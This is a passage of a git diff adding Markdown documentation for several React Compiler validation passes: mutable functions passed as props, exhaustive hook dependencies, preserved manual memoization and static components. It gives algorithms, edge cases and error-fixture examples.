+to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-disallow-mutating-ref-in-render.ts:4:2
+  2 | function Component() {
+  3 |   const ref = useRef(null);
+> 4 |   ref.current = false;
+    |   ^^^^^^^^^^^ Cannot update ref during render
+  5 |
+  6 |   return <button ref={ref} />;
+  7 | }
+```
+
+### Fixture: `error.invalid-ref-in-callback-invoked-during-render.js`
+
+**Input:**
+```javascript
+// @validateRefAccessDuringRender
+function Component(props) {
+  const ref = useRef(null);
+  const renderItem = item => {
+    const current = ref.current;
+    return <Foo item={item} current={current} />;
+  };
+  return <Items>{props.items.map(item => renderItem(item))}</Items>;
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Error: Cannot access ref value during render
+
+React refs are values that are not needed for rendering...
+
+error.invalid-ref-in-callback-invoked-during-render.ts:6:37
+  4 |   const renderItem = item => {
+  5 |     const current = ref.current;
+> 6 |     return <Foo item={item} current={current} />;
+    |                                      ^^^^^^^ Ref value is used during render
+  7 |   };
+  8 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;
+
+error.invalid-ref-in-callback-invoked-during-render.ts:5:20
+  3 |   const ref = useRef(null);
+  4 |   const renderItem = item => {
+> 5 |     const current = ref.current;
+    |                     ^^^^^^^^^^^ Ref is initially accessed
+```
+
+Key observations:
+- Direct mutation at render level is an immediate error
+- Functions that mutate refs are tracked; errors occur when those functions are called at render level
+- The null-guard pattern allows a single initialization
+- The pass distinguishes between refs (`useRef` return type) and ref values (`.current` property)
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/50-validateNoFreezingKnownMutableFunctions.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/50-validateNoFreezingKnownMutableFunctions.md
new file mode 100644
index 000000000000..32f69e39ee3c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/50-validateNoFreezingKnownMutableFunctions.md
@@ -0,0 +1,285 @@
+# validateNoFreezingKnownMutableFunctions
+
+## File
+`src/Validation/ValidateNoFreezingKnownMutableFunctions.ts`
+
+## Purpose
+This validation pass ensures that functions with known mutations (functions that mutate captured local variables) are not passed where a frozen value is expected. Frozen contexts include JSX props, hook arguments, and return values from hooks.
+
+The key insight is that a function which mutates captured variables is effectively a mutable value itself. Unlike a mutable array (which a receiver can choose not to mutate), there is no way for the receiver of a function to prevent the mutation from happening when the function is called. Therefore, passing such functions to props or hooks violates React's expectation that rendered values are immutable.
+
+## Input Invariants
+- The function has been through aliasing effect inference
+- `aliasingEffects` on FunctionExpression values have been computed
+- `Mutate` and `MutateTransitive` effects identify definite mutations to captured variables
+
+## Validation Rules
+The pass produces errors when:
+
+1. **Mutable function passed as JSX prop**: A function that mutates a captured variable is passed as a prop to a JSX element
+2. **Mutable function passed to hook**: A function that mutates a captured variable is passed as an argument to a hook
+3. **Mutable function returned from hook**: A function that mutates a captured variable is returned from a hook
+
+**Exception - Ref mutations**: Functions that mutate refs (`isRefOrRefLikeMutableType`) are allowed, since refs are mutable by design and not tracked for rendering purposes.
+
+Error messages produced:
+- Category: `Immutability`
+- Reason: "Cannot modify local variables after render completes"
+- Description: "This argument is a function which may reassign or mutate [variable] after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead"
+- Messages:
+  - "This function may (indirectly) reassign or modify [variable] after render"
+  - "This modifies [variable]"
+
+## Algorithm
+
+### Phase 1: Track Context Mutation Effects
+The pass maintains a map from identifier IDs to their associated mutation effects:
+
+```typescript
+const contextMutationEffects: Map<
+  IdentifierId,
+  Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>
+> = new Map();
+```
+
+### Phase 2: Single Forward Pass
+Process all blocks in order, handling specific instruction types:
+
+```typescript
+for (const block of fn.body.blocks.values()) {
+  for (const instr of block.instructions) {
+    switch (value.kind) {
+      case 'LoadLocal': {
+        // Propagate mutation effect from source to loaded value
+        const effect = contextMutationEffects.get(value.place.identifier.id);
+        if (effect != null) {
+          contextMutationEffects.set(lvalue.identifier.id, effect);
+        }
+        break;
+      }
+      case 'StoreLocal': {
+        // Propagate mutation effect to both lvalue and stored variable
+        const effect = contextMutationEffects.get(value.value.identifier.id);
+        if (effect != null) {
+          contextMutationEffects.set(lvalue.identifier.id, effect);
+          contextMutationEffects.set(value.lvalue.place.identifier.id, effect);
+        }
+        break;
+      }
+      case 'FunctionExpression': {
+        // Check function's aliasing effects for context mutations
+        if (value.loweredFunc.func.aliasingEffects != null) {
+          const context = new Set(
+            value.loweredFunc.func.context.map(p => p.identifier.id)
+          );
+          for (const effect of value.loweredFunc.func.aliasingEffects) {
+            if (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive') {
+              // Mark function as mutable if it mutates a context variable
+              if (context.has(effect.value.identifier.id) &&
+                  !isRefOrRefLikeMutableType(effect.value.identifier.type)) {
+                contextMutationEffects.set(lvalue.identifier.id, effect);
+              }
+            }
+          }
+        }
+        break;
+      }
+      default: {
+        // Check all operands for freeze effect violations
+        for (const operand of eachInstructionValueOperand(value)) {
+          visitOperand(operand);  // Check if mutable function is being frozen
+        }
+      }
+    }
+  }
+}
+```
+
+### Phase 3: Validate Freeze Effects
+When an operand has a `Freeze` effect, check if it's a known mutable function:
+
+```typescript
+function visitOperand(operand: Place): void {
+  if (operand.effect === Effect.Freeze) {
+    const effect = contextMutationEffects.get(operand.identifier.id);
+    if (effect != null) {
+      // Emit error with both usage location and mutation location
+      errors.pushDiagnostic(
+        CompilerDiagnostic.create({
+          category: ErrorCategory.Immutability,
+          reason: 'Cannot modify local variables after render completes',
+          description: `This argument is a function which may reassign or mutate ${variable} after render...`,
+        })
+        .withDetails({loc: operand.loc, message: 'This function may...'})
+        .withDetails({loc: effect.value.loc, message: 'This modifies...'})
+      );
+    }
+  }
+}
+```
+
+## Edge Cases
+
+### Function Passed as JSX Prop (Error)
+```javascript
+function Component() {
+  const cache = new Map();
+  const fn = () => {
+    cache.set('key', 'value');  // Mutates captured variable
+  };
+  return <Foo fn={fn} />;  // Error: fn is frozen but mutates cache
+}
+```
+
+### Function Passed to Hook (Error)
+```javascript
+function useFoo() {
+  const cache = new Map();
+  useHook(() => {
+    cache.set('key', 'value');  // Error: function mutates cache
+  });
+}
+```
+
+### Function Returned from Hook (Error)
+```javascript
+function useFoo() {
+  useHook();  // For hook inference
+  const cache = new Map();
+  return () => {
+    cache.set('key', 'value');  // Error: returned function mutates cache
+  };
+}
+```
+
+### Ref Mutation (Allowed)
+```javascript
+function Component() {
+  const ref = useRef(null);
+  const fn = () => {
+    ref.current = value;  // OK: refs are mutable by design
+  };
+  return <Foo fn={fn} />;  // Allowed
+}
+```
+
+### Conditional Mutations
+The pass only errors on definite mutations (`Mutate`, `MutateTransitive`), not conditional mutations (`MutateConditionally`, `MutateTransitiveConditionally`). However, if a function already has a known mutation effect, conditional mutations will propagate that effect:
+
+```javascript
+function Component(cond) {
+  const cache = new Map();
+  const fn = () => {
+    cache.set('a', 1);  // Definite mutation
+  };
+  const fn2 = fn;  // fn2 inherits mutation effect
+  return <Foo fn={fn2} />;  // Error
+}
+```
+
+### Nested Function Expressions
+Mutation effects propagate through assignments:
+
+```javascript
+function Component() {
+  const cache = new Map();
+  const inner = () => cache.set('key', 'value');
+  const outer = inner;  // outer inherits mutation effect
+  return <Foo fn={outer} />;  // Error
+}
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `error.invalid-pass-mutable-function-as-prop.js`
+
+**Input:**
+```javascript
+// @validateNoFreezingKnownMutableFunctions
+function Component() {
+  const cache = new Map();
+  const fn = () => {
+    cache.set('key', 'value');
+  };
+  return <Foo fn={fn} />;
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-pass-mutable-function-as-prop.ts:7:18
+  5 |     cache.set('key', 'value');
+  6 |   };
+> 7 |   return <Foo fn={fn} />;
+    |                   ^^ This function may (indirectly) reassign or modify `cache` after render
+  8 | }
+  9 |
+
+error.invalid-pass-mutable-function-as-prop.ts:5:4
+  3 |   const cache = new Map();
+  4 |   const fn = () => {
+> 5 |     cache.set('key', 'value');
+    |     ^^^^^ This modifies `cache`
+  6 |   };
+  7 |   return <Foo fn={fn} />;
+  8 | }
+```
+
+### Fixture: `error.invalid-hook-function-argument-mutates-local-variable.js`
+
+**Input:**
+```javascript
+// @validateNoFreezingKnownMutableFunctions
+
+function useFoo() {
+  const cache = new Map();
+  useHook(() => {
+    cache.set('key', 'value');
+  });
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-hook-function-argument-mutates-local-variable.ts:5:10
+  3 | function useFoo() {
+  4 |   const cache = new Map();
+> 5 |   useHook(() => {
+    |           ^^^^^^^
+> 6 |     cache.set('key', 'value');
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 7 |   });
+    | ^^^^ This function may (indirectly) reassign or modify `cache` after render
+  8 | }
+  9 |
+
+error.invalid-hook-function-argument-mutates-local-variable.ts:6:4
+  4 |   const cache = new Map();
+  5 |   useHook(() => {
+> 6 |     cache.set('key', 'value');
+    |     ^^^^^ This modifies `cache`
+  7 |   });
+  8 | }
+  9 |
+```
+
+Key observations:
+- The pass detects functions that mutate captured local variables (not refs)
+- Errors show both where the function is used (frozen) and where the mutation occurs
+- The validation prevents inconsistent re-render behavior by catching mutations that happen after render
+- The suggestion to "use state instead" guides users toward the correct React pattern
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/51-validateExhaustiveDependencies.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/51-validateExhaustiveDependencies.md
new file mode 100644
index 000000000000..15e3c7af2dbd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/51-validateExhaustiveDependencies.md
@@ -0,0 +1,376 @@
+# validateExhaustiveDependencies
+
+## File
+`src/Validation/ValidateExhaustiveDependencies.ts`
+
+## Purpose
+This validation pass ensures that manual memoization (useMemo, useCallback) and effect hooks (useEffect, useLayoutEffect) have correct dependency arrays. The pass compares developer-specified dependencies against the actual values referenced within the memoized function or effect callback to detect:
+
+1. **Missing dependencies**: Values used in the function that are not listed in the dependency array, causing the memoized value or effect to update less frequently than expected
+2. **Extra dependencies**: Values listed in the dependency array that are not actually used, causing unnecessary re-computation or effect re-runs
+3. **Overly precise dependencies**: Dependencies that access deeper property paths than what is actually used (e.g., `x.y.z` when only `x.y` is accessed)
+
+The goal is to ensure that auto-memoization by the compiler will not substantially change program behavior.
+
+## Input Invariants
+- The function has been through `StartMemoize` and `FinishMemoize` instruction insertion
+- Manual dependency arrays have been parsed and associated with memoization blocks
+- Reactive identifiers have been computed
+- Optional chaining paths have been analyzed
+
+## Validation Rules
+The pass produces errors for:
+
+1. **Missing dependency in useMemo/useCallback**: A reactive value is used but not listed in deps
+2. **Extra dependency in useMemo/useCallback**: A value is listed but not used
+3. **Missing dependency in useEffect**: A value used in the effect callback is not in the deps array
+4. **Extra dependency in useEffect**: A value in deps is not used in the callback
+5. **Overly precise dependency**: The manual dep accesses a deeper path than what's actually used
+6. **Global as dependency**: Module-level values should not be listed as dependencies
+7. **useEffectEvent in dependency array**: Functions from useEffectEvent must not be in deps
+
+**Exception - Optional dependencies**: Non-reactive values of stable types (refs, setState) or primitive types are optional and don't need to be listed.
+
+Error messages produced:
+- Categories: `MemoDependencies` or `EffectExhaustiveDependencies`
+- Reasons:
+  - "Found missing memoization dependencies"
+  - "Found extra memoization dependencies"
+  - "Found missing/extra memoization dependencies"
+  - "Found missing effect dependencies"
+  - "Found extra effect dependencies"
+  - "Found missing/extra effect dependencies"
+- Messages:
+  - "Missing dependency `{dep}`"
+  - "Unnecessary dependency `{dep}`"
+  - "Overly precise dependency `{manual}`, use `{inferred}` instead"
+  - "Functions returned from `useEffectEvent` must not be included in the dependency array"
+  - "Values declared outside of a component/hook should not be listed as dependencies"
+
+## Algorithm
+
+### Phase 1: Collect Reactive Identifiers
+Scan all instructions to identify which identifiers are reactive:
+
+```typescript
+function collectReactiveIdentifiersHIR(fn: HIRFunction): Set<IdentifierId> {
+  const reactive = new Set<IdentifierId>();
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      for (const lvalue of eachInstructionLValue(instr)) {
+        if (lvalue.reactive) {
+          reactive.add(lvalue.identifier.id);
+        }
+      }
+      // ... also check operands
+    }
+  }
+  return reactive;
+}
+```
+
+### Phase 2: Find Optional Places
+Identify places that are within optional chaining expressions:
+
+```typescript
+function findOptionalPlaces(fn: HIRFunction): Map<IdentifierId, boolean> {
+  // Walks through optional terminals to track which identifiers
+  // are accessed via optional chaining (?.property)
+}
+```
+
+### Phase 3: Collect Dependencies
+The core algorithm processes each block, tracking:
+- `temporaries`: Map of identifier IDs to their dependency information
+- `locals`: Set of identifiers declared within the current scope
+- `dependencies`: Set of inferred dependencies
+
+```typescript
+function collectDependencies(
+  fn: HIRFunction,
+  temporaries: Map<IdentifierId, Temporary>,
+  callbacks: {
+    onStartMemoize: (...) => void;
+    onFinishMemoize: (...) => void;
+    onEffect: (...) => void;
+  },
+  isFunctionExpression: boolean,
+): Temporary {
+  for (const block of fn.body.blocks.values()) {
+    // Process phi nodes - merge dependencies from control flow
+    for (const phi of block.phis) {
+      // Aggregate dependencies from all operands
+    }
+
+    for (const instr of block.instructions) {
+      switch (value.kind) {
+        case 'LoadLocal':
+        case 'LoadContext':
+          // Track dependency path through the temporary
+          break;
+        case 'PropertyLoad':
+          // Extend dependency path: x -> x.y
+          break;
+        case 'FunctionExpression':
+          // Recursively collect dependencies from nested function
+          break;
+        case 'StartMemoize':
+          // Begin tracking dependencies for this memo block
+          break;
+        case 'FinishMemoize':
+          // Validate collected dependencies against manual deps
+          break;
+        case 'CallExpression':
+        case 'MethodCall':
+          // Check for effect hooks and validate their deps
+          break;
+      }
+    }
+  }
+}
+```
+
+### Phase 4: Validate Dependencies
+Compare inferred dependencies against manual dependencies:
+
+```typescript
+function validateDependencies(
+  inferred: Array<InferredDependency>,
+  manualDependencies: Array<ManualMemoDependency>,
+  reactive: Set<IdentifierId>,
+  ...
+): CompilerDiagnostic | null {
+  // Sort and deduplicate inferred dependencies
+  // For each inferred dep, check if there's a matching manual dep
+  // For each manual dep, check if it corresponds to an inferred dep
+  // Report missing and extra dependencies
+}
+```
+
+### Dependency Matching Rules
+- If `x.y.z` is inferred, `x`, `x.y`, or `x.y.z` are valid manual deps
+- Optional chaining is handled: `x?.y` inferred can match `x.y` manual (ignoring optionals)
+- Stable types (refs, setState) that are non-reactive are optional
+- Global values should not be in dependency arrays
+- useEffectEvent return values should not be in dependency arrays
+
+## Edge Cases
+
+### Overly Precise Dependency (Error)
+```javascript
+const a = useMemo(() => {
+  return x?.y.z?.a;
+}, [x?.y.z?.a.b]);  // Error: should be [x?.y.z?.a]
+```
+
+### Unnecessary Dependencies (Error)
+```javascript
+const f = useMemo(() => {
+  return [];
+}, [x, y.z, GLOBAL]);  // Error: all deps are unnecessary
+```
+
+### Reactive Stable Type (Error)
+```javascript
+const ref1 = useRef(null);
+const ref2 = useRef(null);
+const ref = z ? ref1 : ref2;  // ref is reactive (depends on z)
+const cb = useMemo(() => {
+  return () => ref.current;
+}, []);  // Error: missing dep 'ref' (reactive even though stable type)
+```
+
+### useEffectEvent in Dependencies (Error)
+```javascript
+const effectEvent = useEffectEvent(() => log(x));
+useEffect(() => {
+  effectEvent();
+}, [effectEvent]);  // Error: useEffectEvent returns should not be in deps
+```
+
+### Effect with Missing and Extra Dependencies (Error)
+```javascript
+useEffect(() => {
+  log(x, z);
+}, [x, y]);  // Error: missing z, extra y
+```
+
+### Valid Dependency Specifications
+```javascript
+// All valid - deps cover or exceed what's used
+const b = useMemo(() => x.y.z?.a, [x.y.z.a]);  // OK
+const d = useMemo(() => x?.y?.[(console.log(y), z?.b)], [x?.y, y, z?.b]);  // OK
+const e = useMemo(() => { e.push(x); return e; }, [x]);  // OK
+```
+
+## Configuration
+The validation can be configured via compiler options:
+
+```typescript
+// For useMemo/useCallback
+validateExhaustiveMemoizationDependencies: boolean
+
+// For useEffect and similar
+validateExhaustiveEffectDependencies: 'off' | 'all' | 'missing-only' | 'extra-only'
+```
+
+The `missing-only` and `extra-only` modes allow validating only one category of errors.
+
+## TODOs
+From the source file:
+
+```typescript
+/**
+ * TODO: Invalid, Complex Deps
+ *
+ * Handle cases where the user deps were not simple identifiers + property chains.
+ * We try to detect this in ValidateUseMemo but we miss some cases. The problem
+ * is that invalid forms can be value blocks or function calls that don't get
+ * removed by DCE, leaving a structure like:
+ *
+ * StartMemoize
+ * t0 = <value to memoize>
+ * ...non-DCE'd code for manual deps...
+ * FinishMemoize decl=t0
+ */
+```
+
+## Example
+
+### Fixture: `error.invalid-exhaustive-deps.js`
+
+**Input:**
+```javascript
+// @validateExhaustiveMemoizationDependencies @validateRefAccessDuringRender:false
+import {useMemo} from 'react';
+
+function Component({x, y, z}) {
+  const a = useMemo(() => {
+    return x?.y.z?.a;
+    // error: too precise
+  }, [x?.y.z?.a.b]);
+  const f = useMemo(() => {
+    return [];
+    // error: unnecessary
+  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+  const ref1 = useRef(null);
+  const ref2 = useRef(null);
+  const ref = z ? ref1 : ref2;
+  const cb = useMemo(() => {
+    return () => ref.current;
+    // error: ref is a stable type but reactive
+  }, []);
+  return <Stringify results={[a, f, cb]} />;
+}
+```
+
+**Error:**
+```
+Found 4 errors:
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-exhaustive-deps.ts:7:11
+  5 | function Component({x, y, z}) {
+  6 |   const a = useMemo(() => {
+> 7 |     return x?.y.z?.a;
+    |            ^^^^^^^^^ Missing dependency `x?.y.z?.a`
+  8 |     // error: too precise
+  9 |   }, [x?.y.z?.a.b]);
+
+error.invalid-exhaustive-deps.ts:9:6
+> 9 |   }, [x?.y.z?.a.b]);
+    |       ^^^^^^^^^^^ Overly precise dependency `x?.y.z?.a.b`, use `x?.y.z?.a` instead
+
+Inferred dependencies: `[x?.y.z?.a]`
+
+Error: Found extra memoization dependencies
+...
+error.invalid-exhaustive-deps.ts:31:6
+> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);
+     |       ^ Unnecessary dependency `x`
+...
+     |                        ^^^^^^^^^^^^^ Unnecessary dependency `UNUSED_GLOBAL`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change
+
+Inferred dependencies: `[]`
+
+Error: Found missing memoization dependencies
+...
+error.invalid-exhaustive-deps.ts:37:13
+> 37 |       return ref.current;
+     |              ^^^ Missing dependency `ref`. Refs, setState functions, and other "stable" values generally do not need to be added as dependencies, but this variable may change over time to point to different values
+
+Inferred dependencies: `[ref]`
+```
+
+### Fixture: `error.invalid-exhaustive-effect-deps.js`
+
+**Input:**
+```javascript
+// @validateExhaustiveEffectDependencies:"all"
+import {useEffect} from 'react';
+
+function Component({x, y, z}) {
+  // error: missing dep - x
+  useEffect(() => {
+    log(x);
+  }, []);
+
+  // error: extra dep - y
+  useEffect(() => {
+    log(x);
+  }, [x, y]);
+
+  // error: missing dep - z; extra dep - y
+  useEffect(() => {
+    log(x, z);
+  }, [x, y]);
+}
+```
+
+**Error:**
+```
+Found 4 errors:
+
+Error: Found missing effect dependencies
+
+Missing dependencies can cause an effect to fire less often than it should.
+
+error.invalid-exhaustive-effect-deps.ts:7:8
+> 7 |     log(x);
+    |         ^ Missing dependency `x`
+
+Inferred dependencies: `[x]`
+
+Error: Found extra effect dependencies
+
+Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.
+
+error.invalid-exhaustive-effect-deps.ts:13:9
+> 13 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+
+Inferred dependencies: `[x]`
+
+Error: Found missing/extra effect dependencies
+...
+error.invalid-exhaustive-effect-deps.ts:17:11
+> 17 |     log(x, z);
+     |            ^ Missing dependency `z`
+
+error.invalid-exhaustive-effect-deps.ts:18:9
+> 18 |   }, [x, y]);
+     |          ^ Unnecessary dependency `y`
+
+Inferred dependencies: `[x, z]`
+```
+
+Key observations:
+- The pass validates both useMemo/useCallback and useEffect dependency arrays
+- Dependencies are inferred by analyzing actual value usage within the function
+- Optional chaining paths are tracked and included in dependency paths
+- Reactive stable types (like conditionally assigned refs) must still be listed
+- Globals and useEffectEvent returns should not be in dependency arrays
+- The validation provides fix suggestions showing the inferred correct dependencies
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/53-validatePreservedManualMemoization.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/53-validatePreservedManualMemoization.md
new file mode 100644
index 000000000000..fa78c2b9f2bb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/53-validatePreservedManualMemoization.md
@@ -0,0 +1,152 @@
+# validatePreservedManualMemoization
+
+## File
+`src/Validation/ValidatePreservedManualMemoization.ts`
+
+## Purpose
+Validates that all explicit manual memoization (`useMemo`/`useCallback`) from the original source code is accurately preserved in the compiled output. This ensures that values the developer intended to be memoized remain memoized after compilation.
+
+## Input Invariants
+- Operates on ReactiveFunction (post-reactive scope inference)
+- Manual memoization markers (`StartMemoize`/`FinishMemoize`) are present from earlier passes
+- Scopes have been assigned and merged as appropriate
+
+## Validation Rules
+This pass validates three conditions:
+
+### 1. Dependencies not mutated later
+Validates that dependencies of manual memoization are not mutated after the memoization call:
+```
+Existing memoization could not be preserved. This dependency may be modified later
+```
+
+### 2. Inferred dependencies match source
+Validates that the compiler's inferred dependencies match the manually specified dependencies:
+```
+Existing memoization could not be preserved. The inferred dependencies did not match
+the manually specified dependencies, which could cause the value to change more or
+less frequently than expected. The inferred dependency was `X`, but the source
+dependencies were [Y, Z].
+```
+
+### 3. Output value is memoized
+Validates that the memoized value actually ends up in a reactive scope:
+```
+Existing memoization could not be preserved. This value was memoized in source but
+not in compilation output
+```
+
+## Algorithm
+
+### State Management
+The visitor tracks:
+- `scopes: Set<ScopeId>` - All completed reactive scopes
+- `prunedScopes: Set<ScopeId>` - Scopes that were pruned
+- `temporaries: Map<IdentifierId, ManualMemoDependency>` - Temporary variable mappings
+- `manualMemoState: ManualMemoBlockState | null` - Current manual memoization context
+
+### ManualMemoBlockState
+```typescript
+type ManualMemoBlockState = {
+  reassignments: Map<DeclarationId, Set<Identifier>>;  // Track inlined useMemo reassignments
+  loc: SourceLocation;                                   // Source location for errors
+  decls: Set<DeclarationId>;                             // Declarations within the memo block
+  depsFromSource: Array<ManualMemoDependency> | null;   // Original deps from source
+  manualMemoId: number;                                  // Unique ID for this memoization
+};
+```
+
+### Processing Flow
+
+1. **On `StartMemoize` instruction:**
+   - Validate that dependencies' scopes have completed (not mutated later)
+   - Initialize `manualMemoState` with source dependencies
+   - Push error if any dependency's scope hasn't completed yet
+
+2. **During memo block (between Start/Finish):**
+   - Track all declarations made within the block
+   - Track reassignments for inlined useMemo handling
+   - Record property loads and temporaries
+
+3. **On scope completion:**
+   - Validate each scope dependency against source dependencies using `compareDeps()`
+   - An inferred dependency matches if:
+     - Root identifiers are the same (same named variable)
+     - Paths are identical, OR
+     - Inferred path is more specific (not involving `.current` refs)
+
+4. **On `FinishMemoize` instruction:**
+   - Validate that the memoized value is in a completed scope
+   - Handle inlined useMemo with reassignment tracking
+   - Push error if value is unmemoized
+
+### Dependency Comparison Results
+```typescript
+enum CompareDependencyResult {
+  Ok = 0,                    // Dependencies match
+  RootDifference = 1,        // Different root variables
+  PathDifference = 2,        // Different property paths
+  Subpath = 3,               // Inferred is less specific
+  RefAccessDifference = 4,   // ref.current access differs
+}
+```
+
+## Edge Cases
+
+### Inlined useMemo Handling
+When useMemo is inlined, it produces `let` declarations followed by reassignments. The pass tracks these reassignments to ensure all code paths produce memoized values.
+
+### Ref Access
+Special handling for `.current` property access on refs. Since `ref_prev === ref_new` does not imply `ref_prev.current === ref_new.current`, the pass is strict about ref access differences.
+
+### More Specific Dependencies
+If the compiler infers a more specific dependency (e.g., `obj.prop.value` instead of `obj`), this is acceptable as long as it doesn't involve ref access.
+
+## TODOs
+None found in the source.
+
+## Example
+
+### Fixture: `error.preserve-use-memo-ref-missing-reactive.ts`
+
+**Input:**
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useRef} from 'react';
+
+function useFoo({cond}) {
+  const ref1 = useRef<undefined | (() => undefined)>();
+  const ref2 = useRef<undefined | (() => undefined)>();
+  const ref = cond ? ref1 : ref2;
+
+  return useCallback(() => {
+    if (ref != null) {
+      ref.current();
+    }
+  }, []);
+}
+```
+
+**Error:**
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual
+memoization could not be preserved. The inferred dependencies did not match the
+manually specified dependencies, which could cause the value to change more or
+less frequently than expected. The inferred dependency was `ref`, but the source
+dependencies were []. Inferred dependency not present in source.
+
+error.preserve-use-memo-ref-missing-reactive.ts:9:21
+>  9 |   return useCallback(() => {
+     |                      ^^^^^^^
+> 10 |     if (ref != null) {
+> 11 |       ref.current();
+> 12 |     }
+> 13 |   }, []);
+     | ^^^^ Could not preserve existing manual memoization
+```
+
+**Why it fails:** The callback uses `ref` which is conditionally assigned based on `cond`. The compiler infers `ref` as a dependency, but the source specifies an empty dependency array `[]`. This mismatch means the memoization cannot be preserved as-is.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/54-validateStaticComponents.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/54-validateStaticComponents.md
new file mode 100644
index 000000000000..5f0db16794a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/54-validateStaticComponents.md
@@ -0,0 +1,153 @@
+# validateStaticComponents
+
+## File
+`src/Validation/ValidateStaticComponents.ts`
+
+## Purpose
+Validates that components used in JSX are not created dynamically during render. Components created during render will have their state reset on every re-render because React sees them as new component types each time. This is a common React anti-pattern that causes bugs and poor performance.
+
+## Input Invariants
+- Operates on HIRFunction (pre-reactive transformation)
+- All instructions and phi nodes are present
+- JSX expressions have been lowered to `JsxExpression` instruction values
+
+## Validation Rules
+When a JSX element uses a component that was dynamically created during render, the pass produces:
+```
+Cannot create components during render. Components created during render will reset
+their state each time they are created. Declare components outside of render
+```
+
+The error includes two locations:
+1. Where the component is used in JSX
+2. Where the component was originally created
+
+### What constitutes "dynamically created"?
+The following instruction kinds mark a value as dynamically created:
+- `FunctionExpression` - An inline function definition
+- `NewExpression` - A `new` constructor call
+- `MethodCall` - A method call that returns a value
+- `CallExpression` - A function call that returns a value
+
+## Algorithm
+
+1. Create a `Map<IdentifierId, SourceLocation>` called `knownDynamicComponents` to track identifiers whose values are dynamically created
+
+2. Iterate through all blocks in evaluation order
+
+3. For each block, first process phi nodes:
+   - If any phi operand is in `knownDynamicComponents`, add the phi result to the map
+   - This propagates dynamic-ness through control flow joins
+
+4. For each instruction in the block:
+   - **FunctionExpression, NewExpression, MethodCall, CallExpression**: Add the lvalue to `knownDynamicComponents` with its source location
+   - **LoadLocal**: If the loaded value is dynamic, mark the lvalue as dynamic
+   - **StoreLocal**: If the stored value is dynamic, mark both the lvalue and the store target as dynamic
+   - **JsxExpression**: If the JSX tag is an identifier that is in `knownDynamicComponents`, push a diagnostic error
+
+5. Return the collected errors
+
+### Data Flow Tracking
+The pass tracks how dynamic values flow through the program:
+- Through variable assignments (`StoreLocal`, `LoadLocal`)
+- Through phi nodes (conditional assignments)
+- Into JSX component positions
+
+## Edge Cases
+
+### Conditionally Assigned Components
+```javascript
+function Example({cond}) {
+  let Component;
+  if (cond) {
+    Component = createComponent();  // Dynamic!
+  } else {
+    Component = OtherComponent;     // Static
+  }
+  return <Component />;  // Error: Component may be dynamic
+}
+```
+The phi node joins the conditional paths, and since one path is dynamic, the result is considered dynamic.
+
+### Component Returned from Hooks/Functions
+```javascript
+function Example() {
+  const Component = useCreateComponent();  // CallExpression - dynamic
+  return <Component />;  // Error
+}
+```
+
+### Factory Functions
+```javascript
+function Example() {
+  const Component = createComponent();  // CallExpression - dynamic
+  return <Component />;  // Error
+}
+```
+
+### Safe Patterns (No Error)
+```javascript
+// Component defined outside render
+const MyComponent = () => <div />;
+
+function Example() {
+  return <MyComponent />;  // OK - not created during render
+}
+```
+
+## TODOs
+None found in the source.
+
+## Example
+
+### Fixture: `static-components/invalid-dynamically-construct-component-in-render.js`
+
+**Input:**
+```javascript
+// @validateStaticComponents
+function Example(props) {
+  const Component = createComponent();
+  return <Component />;
+}
+```
+
+**Error (from logs):**
+```json
+{
+  "kind": "CompileError",
+  "detail": {
+    "options": {
+      "category": "StaticComponents",
+      "reason": "Cannot create components during render",
+      "description": "Components created during render will reset their state each time they are created. Declare components outside of render",
+      "details": [
+        {
+          "kind": "error",
+          "loc": { "start": { "line": 4, "column": 10 } },
+          "message": "This component is created during render"
+        },
+        {
+          "kind": "error",
+          "loc": { "start": { "line": 3, "column": 20 } },
+          "message": "The component is created during render here"
+        }
+      ]
+    }
+  }
+}
+```
+
+**Why it fails:** The `createComponent()` call creates a new component type on every render. When this component is used in JSX, React will see a different component type each time, causing the component to unmount and remount (losing all state) on every render.
+
+### Fixture: `static-components/invalid-dynamically-constructed-component-function.js`
+
+**Input:**
+```javascript
+// @validateStaticComponents
+function Example(props) {
+  const Component = () => <div />;
+  return <Component />;
+}
+```
+
